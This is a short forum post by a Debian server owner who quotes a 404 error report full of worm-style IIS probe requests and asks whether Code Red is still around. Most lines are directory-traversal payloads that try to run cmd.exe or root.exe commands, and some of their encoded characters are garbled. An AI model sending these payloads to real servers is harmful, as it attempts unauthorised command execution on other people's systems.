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I have a server running Debian that I use mostly for personal things, hosting photo galleries for family and such. I use Visitors to generate a daily report of the web traffic (by running it through /etc/cron.daily) and occasionally I have a look through these. Today, in the May-07-07 report, I have the following lines in '404 Not Found' errors:

Code:

Different missing documents requested 15

1)        6        /favicon.ico

2)        2        /scripts/..%5c../winnt/system32/cmd.exe?/c dir

3)        1        /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c dir

4)        1        /scripts/root.exe?/c dir

5)        1        /MSADC/root.exe?/c dir

6)        1        /msadc/..%5c../..%5c../..%5c/..�../..�../..�../winnt/system32/cmd.exe?/c dir

7)        1        /scripts/..�../winnt/system32/cmd.exe?/c dir

8)        1        /scripts/..�../winnt/system32/cmd.exe?/c dir

9)        1        /scripts/..%2f../winnt/system32/cmd.exe?/c dir

10)        1        /d/winnt/system32/cmd.exe?/c dir

11)        1        /robots.txt

12)        1        /c/winnt/system32/cmd.exe?/c dir

13)        1        /scripts/..�/../winnt/system32/cmd.exe?/c dir

14)        1        /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c dir

15)        1        /scripts/..�../winnt/system32/cmd.exe?/c dir

What is this? A code red worm? These are still around?

At any rate, this is mostly just a curiosity to me; I'm not that concerned about it, especially since the Linux server has no idea what a "cmd.exe" is.

Maybe someone will find this interesting,